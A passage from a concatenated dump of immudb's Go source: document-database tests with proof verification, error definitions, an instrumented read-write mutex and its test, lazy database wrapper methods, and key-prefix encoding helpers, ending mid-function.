CollectionName: collectionName, }, }) require.NoError(t, err) require.EqualValues(t, 1, countResp.Count) }) var doc *structpb.Struct t.Run("should pass when querying documents", func(t *testing.T) { // query collection for document reader, err := db.SearchDocuments(context.Background(), &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewNumberValue(123), }, }, }, }, }, 0, ) require.NoError(t, err) defer reader.Close() revision, err := reader.Read(context.Background()) require.NoError(t, err) doc = revision.Document require.Equal(t, u.String(), doc.Fields["uuid"].GetStringValue()) require.Equal(t, 123.0, doc.Fields["pincode"].GetNumberValue()) }) var knownState *schema.ImmutableState t.Run("should pass when querying documents with proof", func(t *testing.T) { proofRes, err := db.ProofDocument(context.Background(), &protomodel.ProofDocumentRequest{ CollectionName: collectionName, DocumentId: docID, }) require.NoError(t, err) require.NotNil(t, proofRes) knownState, err = verification.VerifyDocument(context.Background(), proofRes, doc, nil, nil) require.NoError(t, err) require.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, knownState.TxId) }) var updatedDoc *structpb.Struct t.Run("should pass when replacing document", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewNumberValue(123), }, }, }, }, } resp, err := db.ReplaceDocuments(context.Background(), "admin", &protomodel.ReplaceDocumentsRequest{ Query: query, Document: &structpb.Struct{ Fields: map[string]*structpb.Value{ "pincode": structpb.NewNumberValue(321), }, }, }) require.NoError(t, err) require.Len(t, resp.Revisions, 1) rev := resp.Revisions[0] require.Equal(t, docID, rev.DocumentId) reader, err := db.SearchDocuments(context.Background(), &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewNumberValue(321), }, }, }, }, }, 0, ) require.NoError(t, err) defer reader.Close() revision, err := reader.Read(context.Background()) require.NoError(t, err) updatedDoc = revision.Document require.Equal(t, 321.0, updatedDoc.Fields["pincode"].GetNumberValue()) countResp, err := db.CountDocuments(context.Background(), &protomodel.CountDocumentsRequest{ Query: &protomodel.Query{ CollectionName: collectionName, }, }) require.NoError(t, err) require.EqualValues(t, 1, countResp.Count) }) t.Run("should pass when auditing document without requesting payloads", func(t *testing.T) { resp, err := db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{ CollectionName: collectionName, DocumentId: docID, Page: 1, PageSize: 10, OmitPayload: true, }) require.NoError(t, err) require.Len(t, resp.Revisions, 2) for _, rev := range resp.Revisions { require.Nil(t, rev.Document) require.Equal(t, docID, rev.DocumentId) require.Equal(t, "admin", rev.Username) } }) t.Run("should pass when auditing document", func(t *testing.T) { resp, err := db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{ CollectionName: collectionName, DocumentId: docID, Page: 1, PageSize: 10, }) require.NoError(t, err) require.Len(t, resp.Revisions, 2) for _, rev := range resp.Revisions { require.Equal(t, docID, rev.Document.Fields["_id"].GetStringValue()) require.Equal(t, "admin", rev.Username) } }) t.Run("should pass when querying updated document with proof", func(t *testing.T) { proofRes, err := db.ProofDocument(context.Background(), &protomodel.ProofDocumentRequest{ CollectionName: collectionName, DocumentId: docID, ProofSinceTransactionId: knownState.TxId, }) require.NoError(t, err) require.NotNil(t, proofRes) newState, err := verification.VerifyDocument(context.Background(), proofRes, updatedDoc, knownState, nil) require.NoError(t, err) require.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, newState.TxId) }) t.Run("should pass when querying updated document with proof", func(t *testing.T) { proofRes, err := db.ProofDocument(context.Background(), &protomodel.ProofDocumentRequest{ CollectionName: collectionName, DocumentId: docID, TransactionId: knownState.TxId, ProofSinceTransactionId: knownState.TxId, }) require.NoError(t, err) require.NotNil(t, proofRes) newState, err := verification.VerifyDocument(context.Background(), proofRes, doc, knownState, nil) require.NoError(t, err) require.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, newState.TxId) }) t.Run("should fail when verifying a document with invalid id", func(t *testing.T) { proofRes, err := db.ProofDocument(context.Background(), &protomodel.ProofDocumentRequest{ CollectionName: collectionName, DocumentId: docID, TransactionId: knownState.TxId, ProofSinceTransactionId: knownState.TxId, }) require.NoError(t, err) require.NotNil(t, proofRes) _, err = verification.VerifyDocument(context.Background(), proofRes, doc, &schema.ImmutableState{ TxId: proofRes.VerifiableTx.DualProof.TargetTxHeader.Id + 1, }, nil) require.ErrorIs(t, err, store.ErrInvalidProof) doc.Fields[proofRes.DocumentIdFieldName] = structpb.NewNullValue() _, err = verification.VerifyDocument(context.Background(), proofRes, doc, knownState, nil) require.ErrorIs(t, err, ErrIllegalArguments) }) } func TestDocumentDB_AuditDocuments_CornerCases(t *testing.T) { db := makeDocumentDb(t) _, err := db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{ CollectionName: "mycollection", DocumentId: "", Page: 0, PageSize: 0, }) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{ CollectionName: "mycollection", DocumentId: "", Page: 1, PageSize: MaxKeyScanLimit + 1, }) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{ CollectionName: "mycollection", DocumentId: "", Page: 1, PageSize: 1, }) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{ CollectionName: "1invalidCollectionName", DocumentId: document.NewDocumentIDFromTimestamp(time.Now(), 1).EncodeToHexString(), Page: 1, PageSize: 1, }) require.ErrorIs(t, err, ErrIllegalArguments) } func TestDocumentDB_WithSerializedJsonDocument(t *testing.T) { db := makeDocumentDb(t) collectionName := "mycollection" _, err := db.CreateCollection(context.Background(), "admin", &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{}, Indexes: []*protomodel.Index{}, }) require.NoError(t, err) jsonDoc := `{ "old_record": null, "record": { "access_code": "1b86ff6b189f4c36a50b9073f6dfed17ee0388568a4f4651a68bf67a7c7aaf45", "badge_uuid": "4ee1dbb2-544a-4e34-b99a-8003379f5d88", "created_at": "2023-06-11T10:43:31.032008+00:00", "id": 20, "is_public": false, "project_id": 1, "sbom": { "str": "sU2tZ3NC31H3WzlzfOvs7EsGYwLBSKTGwn3ooopNdiK4pf8eF75XWNe1aFYRGEiXwTeCc6vLFrGxAonWrMFN2AC840Wb6" }, "vault_uuid": null }, "schema": "public", "table": "sbom", "type": "INSERT" }` doc := &structpb.Struct{} err = json.Unmarshal([]byte(jsonDoc), doc) require.NoError(t, err) _, err = db.InsertDocuments(context.Background(), "admin", &protomodel.InsertDocumentsRequest{ CollectionName: collectionName, Documents: []*structpb.Struct{ doc, }, }) require.NoError(t, err) } ================================================ FILE: pkg/database/errors.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "errors" "google.golang.org/grpc/codes" "google.golang.org/grpc/status" ) var ( ErrIndexKeyMismatch = status.New(codes.InvalidArgument, "mismatch between provided index and key").Err() ErrNoReferenceProvided = status.New(codes.InvalidArgument, "provided argument is not a reference").Err() ErrReferenceKeyMissing = status.New(codes.InvalidArgument, "reference key not provided").Err() ErrZAddIndexMissing = status.New(codes.InvalidArgument, "zAdd index not provided").Err() ErrReferenceIndexMissing = status.New(codes.InvalidArgument, "reference index not provided").Err() ErrDatabaseAlreadyExists = errors.New("database already exists") ErrDatabaseNotExists = errors.New("database does not exist") ErrCannotDeleteAnOpenDatabase = errors.New("cannot delete an open database") ErrTxReadPoolExhausted = errors.New("read tx pool exhausted") ) ================================================ FILE: pkg/database/instrumented_rwmutex.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "sync" "time" ) type instrumentedRWMutex struct { rwmutex sync.RWMutex trwmutex sync.RWMutex waitingCount int lastReleaseAt time.Time } func (imux *instrumentedRWMutex) State() (waitingCount int, lastReleaseAt time.Time) { imux.trwmutex.RLock() defer imux.trwmutex.RUnlock() return imux.waitingCount, imux.lastReleaseAt } func (imux *instrumentedRWMutex) Lock() { imux.trwmutex.Lock() imux.waitingCount++ imux.trwmutex.Unlock() imux.rwmutex.Lock() imux.trwmutex.Lock() imux.waitingCount-- imux.trwmutex.Unlock() } func (imux *instrumentedRWMutex) Unlock() { imux.trwmutex.Lock() imux.rwmutex.Unlock() imux.lastReleaseAt = time.Now() imux.trwmutex.Unlock() } func (imux *instrumentedRWMutex) RLock() { imux.trwmutex.Lock() imux.waitingCount++ imux.trwmutex.Unlock() imux.rwmutex.RLock() imux.trwmutex.Lock() imux.waitingCount-- imux.trwmutex.Unlock() } func (imux *instrumentedRWMutex) RUnlock() { imux.trwmutex.Lock() imux.rwmutex.RUnlock() imux.lastReleaseAt = time.Now() imux.trwmutex.Unlock() } ================================================ FILE: pkg/database/instrumented_rwmutex_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "sync" "testing" "time" "github.com/stretchr/testify/require" ) func TestInstrumentedMutex(t *testing.T) { mutex := &instrumentedRWMutex{} waitingCount, _ := mutex.State() require.Equal(t, 0, waitingCount) mutex.Lock() waitingCount, _ = mutex.State() require.Equal(t, 0, waitingCount) justBeforeRelease := time.Now() time.Sleep(1 * time.Millisecond) mutex.Unlock() waitingCount, lastReleaseAt := mutex.State() require.Equal(t, 0, waitingCount) require.True(t, lastReleaseAt.After(justBeforeRelease)) mutex.Lock() wg := sync.WaitGroup{} wg.Add(1) go func() { wg.Done() mutex.RLock() time.Sleep(1 * time.Millisecond) justBeforeRelease = time.Now() time.Sleep(1 * time.Millisecond) mutex.RUnlock() wg.Done() }() wg.Wait() wg.Add(1) waitingCount, _ = mutex.State() require.Equal(t, 1, waitingCount) mutex.Unlock() wg.Wait() waitingCount, lastReleaseAt = mutex.State() require.Equal(t, 0, waitingCount) require.True(t, lastReleaseAt.After(justBeforeRelease)) } ================================================ FILE: pkg/database/lazy_db.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "crypto/sha256" "errors" "path/filepath" "time" "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" ) var ErrNoNewTransactions = errors.New("no new transactions") type lazyDB struct { m *DBManager idx int } func (db *lazyDB) GetName() string { return db.m.GetNameByIndex(db.idx) } func (db *lazyDB) GetOptions() *Options { return db.m.GetOptionsByIndex(db.idx) } func (db *lazyDB) Path() string { opts := db.GetOptions() return filepath.Join(opts.GetDBRootPath(), db.GetName()) } func (db *lazyDB) AsReplica(asReplica, syncReplication bool, syncAcks int) { d, err := db.m.Get(db.idx) if err != nil { db.m.logger.Errorf("%s: AsReplica", err) return } defer db.m.Release(db.idx) d.AsReplica(asReplica, syncReplication, syncAcks) } func (db *lazyDB) IsReplica() bool { d, err := db.m.Get(db.idx) if err != nil { db.m.logger.Errorf("%s: IsReplica", err) return false } defer db.m.Release(db.idx) return d.IsReplica() } func (db *lazyDB) IsSyncReplicationEnabled() bool { d, err := db.m.Get(db.idx) if err != nil { db.m.logger.Errorf("%s: IsSyncReplicationEnabled", err) return false } defer db.m.Release(db.idx) return d.IsSyncReplicationEnabled() } func (db *lazyDB) SetSyncReplication(enabled bool) { d, err := db.m.Get(db.idx) if err != nil { db.m.logger.Errorf("%s: SetSyncReplication", err) return } defer db.m.Release(db.idx) d.SetSyncReplication(enabled) } func (db *lazyDB) MaxResultSize() int { return db.GetOptions().maxResultSize } func (db *lazyDB) Health() (waitingCount int, lastReleaseAt time.Time) { d, err := db.m.Get(db.idx) if err != nil { db.m.logger.Errorf("%s: Health", err) return } defer db.m.Release(db.idx) return d.Health() } func (db *lazyDB) CurrentState() (*schema.ImmutableState, error) { return db.m.GetState(db.idx) } func (db *lazyDB) Size() (uint64, error) { d, err := db.m.Get(db.idx) if err != nil { return 0, err } defer db.m.Release(db.idx) return d.Size() } func (db *lazyDB) TxCount() (uint64, error) { d, err := db.m.Get(db.idx) if err != nil { return 0, err } defer db.m.Release(db.idx) return d.TxCount() } func (db *lazyDB) Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.Set(ctx, req) } func (db *lazyDB) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.VerifiableSet(ctx, req) } func (db *lazyDB) Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.Get(ctx, req) } func (db *lazyDB) VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.VerifiableGet(ctx, req) } func (db *lazyDB) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.GetAll(ctx, req) } func (db *lazyDB) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.Delete(ctx, req) } func (db *lazyDB) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.SetReference(ctx, req) } func (db *lazyDB) VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.VerifiableSetReference(ctx, req) } func (db *lazyDB) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.Scan(ctx, req) } func (db *lazyDB) History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.History(ctx, req) } func (db *lazyDB) ExecAll(ctx context.Context, operations *schema.ExecAllRequest) (*schema.TxHeader, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.ExecAll(ctx, operations) } func (db *lazyDB) Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.Count(ctx, prefix) } func (db *lazyDB) CountAll(ctx context.Context) (*schema.EntryCount, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.CountAll(ctx) } func (db *lazyDB) ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.ZAdd(ctx, req) } func (db *lazyDB) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.VerifiableZAdd(ctx, req) } func (db *lazyDB) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.ZScan(ctx, req) } func (db *lazyDB) NewSQLTx(ctx context.Context, opts *sql.TxOptions) (*sql.SQLTx, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.NewSQLTx(ctx, opts) } func (db *lazyDB) SQLExec(ctx context.Context, tx *sql.SQLTx, req *schema.SQLExecRequest) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { d, err := db.m.Get(db.idx) if err != nil { return nil, nil, err } defer db.m.Release(db.idx) return d.SQLExec(ctx, tx, req) } func (db *lazyDB) SQLExecPrepared(ctx context.Context, tx *sql.SQLTx, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { d, err := db.m.Get(db.idx) if err != nil { return nil, nil, err } defer db.m.Release(db.idx) return d.SQLExecPrepared(ctx, tx, stmts, params) } func (db *lazyDB) InferParameters(ctx context.Context, tx *sql.SQLTx, sql string) (map[string]sql.SQLValueType, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.InferParameters(ctx, tx, sql) } func (db *lazyDB) InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.SQLStmt) (map[string]sql.SQLValueType, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.InferParametersPrepared(ctx, tx, stmt) } func (db *lazyDB) SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (sql.RowReader, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.SQLQuery(ctx, tx, req) } func (db *lazyDB) SQLQueryAll(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) ([]*sql.Row, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.SQLQueryAll(ctx, tx, req) } func (db *lazyDB) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.SQLQueryPrepared(ctx, tx, stmt, params) } func (db *lazyDB) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.VerifiableSQLGet(ctx, req) } func (db *lazyDB) ListTables(ctx context.Context, tx *sql.SQLTx) (*schema.SQLQueryResult, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.ListTables(ctx, tx) } func (db *lazyDB) DescribeTable(ctx context.Context, tx *sql.SQLTx, table string) (*schema.SQLQueryResult, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.DescribeTable(ctx, tx, table) } func (db *lazyDB) WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error { d, err := db.m.Get(db.idx) if err != nil { return err } defer db.m.Release(db.idx) return d.WaitForTx(ctx, txID, allowPrecommitted) } func (db *lazyDB) WaitForIndexingUpto(ctx context.Context, txID uint64) error { d, err := db.m.Get(db.idx) if err != nil { return err } defer db.m.Release(db.idx) return d.WaitForIndexingUpto(ctx, txID) } func (db *lazyDB) TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.TxByID(ctx, req) } func (db *lazyDB) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) { state, err := db.CurrentState() if err != nil { return nil, 0, [sha256.Size]byte{}, err } if !req.AllowPreCommitted { if req.Tx > state.TxId { return nil, 0, [sha256.Size]byte{}, ErrNoNewTransactions } } d, err := db.m.Get(db.idx) if err != nil { return nil, 0, [sha256.Size]byte{}, err } defer db.m.Release(db.idx) return d.ExportTxByID(ctx, req) } func (db *lazyDB) ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*schema.TxHeader, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.ReplicateTx(ctx, exportedTx, skipIntegrityCheck, waitForIndexing) } func (db *lazyDB) AllowCommitUpto(txID uint64, alh [sha256.Size]byte) error { d, err := db.m.Get(db.idx) if err != nil { return err } defer db.m.Release(db.idx) return d.AllowCommitUpto(txID, alh) } func (db *lazyDB) DiscardPrecommittedTxsSince(txID uint64) error { d, err := db.m.Get(db.idx) if err != nil { return err } defer db.m.Release(db.idx) return d.DiscardPrecommittedTxsSince(txID) } func (db *lazyDB) VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.VerifiableTxByID(ctx, req) } func (db *lazyDB) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.TxScan(ctx, req) } func (db *lazyDB) FlushIndex(req *schema.FlushIndexRequest) error { d, err := db.m.Get(db.idx) if err != nil { return err } defer db.m.Release(db.idx) return d.FlushIndex(req) } func (db *lazyDB) CompactIndex() error { d, err := db.m.Get(db.idx) if err != nil { return err } defer db.m.Release(db.idx) return d.CompactIndex() } func (db *lazyDB) IsClosed() bool { return db.m.IsClosed(db.idx) } func (db *lazyDB) Close() error { return db.m.Close(db.idx) } // CreateCollection creates a new collection func (db *lazyDB) CreateCollection(ctx context.Context, username string, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.CreateCollection(ctx, username, req) } // GetCollection returns the collection schema func (db *lazyDB) GetCollection(ctx context.Context, req *protomodel.GetCollectionRequest) (*protomodel.GetCollectionResponse, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.GetCollection(ctx, req) } func (db *lazyDB) GetCollections(ctx context.Context, req *protomodel.GetCollectionsRequest) (*protomodel.GetCollectionsResponse, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.GetCollections(ctx, req) } func (db *lazyDB) UpdateCollection(ctx context.Context, username string, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.UpdateCollection(ctx, username, req) } func (db *lazyDB) DeleteCollection(ctx context.Context, username string, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.DeleteCollection(ctx, username, req) } func (db *lazyDB) AddField(ctx context.Context, username string, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.AddField(ctx, username, req) } func (db *lazyDB) RemoveField(ctx context.Context, username string, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.RemoveField(ctx, username, req) } func (db *lazyDB) CreateIndex(ctx context.Context, username string, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.CreateIndex(ctx, username, req) } func (db *lazyDB) DeleteIndex(ctx context.Context, username string, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.DeleteIndex(ctx, username, req) } func (db *lazyDB) InsertDocuments(ctx context.Context, username string, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.InsertDocuments(ctx, username, req) } func (db *lazyDB) ReplaceDocuments(ctx context.Context, username string, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.ReplaceDocuments(ctx, username, req) } func (db *lazyDB) AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.AuditDocument(ctx, req) } func (db *lazyDB) SearchDocuments(ctx context.Context, query *protomodel.Query, offset int64) (document.DocumentReader, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.SearchDocuments(ctx, query, offset) } func (db *lazyDB) CountDocuments(ctx context.Context, req *protomodel.CountDocumentsRequest) (*protomodel.CountDocumentsResponse, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.CountDocuments(ctx, req) } func (db *lazyDB) ProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.ProofDocument(ctx, req) } func (db *lazyDB) DeleteDocuments(ctx context.Context, username string, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.DeleteDocuments(ctx, username, req) } func (db *lazyDB) FindTruncationPoint(ctx context.Context, until time.Time) (*schema.TxHeader, error) { d, err := db.m.Get(db.idx) if err != nil { return nil, err } defer db.m.Release(db.idx) return d.FindTruncationPoint(ctx, until) } func (db *lazyDB) CopySQLCatalog(ctx context.Context, txID uint64) (uint64, error) { d, err := db.m.Get(db.idx) if err != nil { return 0, err } defer db.m.Release(db.idx) return d.CopySQLCatalog(ctx, txID) } func (db *lazyDB) TruncateUptoTx(ctx context.Context, txID uint64) error { d, err := db.m.Get(db.idx) if err != nil { return err } defer db.m.Release(db.idx) return d.TruncateUptoTx(ctx, txID) } ================================================ FILE: pkg/database/meta.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "encoding/binary" "math" "github.com/codenotary/immudb/embedded/store" ) const ( SetKeyPrefix byte = iota SortedSetKeyPrefix SQLPrefix DocumentPrefix ) const ( PlainValuePrefix = iota ReferenceValuePrefix ) // WrapWithPrefix ... func WrapWithPrefix(b []byte, prefix byte) []byte { wb := make([]byte, 1+len(b)) wb[0] = prefix copy(wb[1:], b) return wb } func TrimPrefix(prefixed []byte) []byte { return prefixed[1:] } func EncodeKey(key []byte) []byte { return WrapWithPrefix(key, SetKeyPrefix) } func EncodeEntrySpec( key []byte, md *store.KVMetadata, value []byte, ) *store.EntrySpec { return &store.EntrySpec{ Key: WrapWithPrefix(key, SetKeyPrefix), Metadata: md, Value: WrapWithPrefix(value, PlainValuePrefix), } } func EncodeReference( key []byte, md *store.KVMetadata, referencedKey []byte, atTx uint64, ) *store.EntrySpec { // Note: metadata record may be used as reference holder, reference resolution would be faster // It may be introduced in a backward-compatible way i.e. if not present in metadata then resolve by reading value return &store.EntrySpec{ Key: WrapWithPrefix(key, SetKeyPrefix), Metadata: md, Value: WrapReferenceValueAt(WrapWithPrefix(referencedKey, SetKeyPrefix), atTx), } } func WrapReferenceValueAt(key []byte, atTx uint64) []byte { refVal := make([]byte, 1+8+len(key)) refVal[0] = ReferenceValuePrefix binary.BigEndian.PutUint64(refVal[1:], atTx) copy(refVal[1+8:], key) return refVal } func EncodeZAdd(set []byte, score float64, key []byte, atTx uint64) *store.EntrySpec { return &store.EntrySpec{ Key: WrapZAddReferenceAt(set, score, key, atTx), Value: nil, } } func WrapZAddReferenceAt(set []byte, score float64, key []byte, atTx uint64) []byte { zKey := make([]byte, 1+setLenLen+len(set)+scoreLen+keyLenLen+len(key)+txIDLen) zi := 0 zKey[0] = SortedSetKeyPrefix zi++ binary.BigEndian.PutUint64(zKey[zi:], uint64(len(set))) zi += setLenLen copy(zKey[zi:], set) zi += 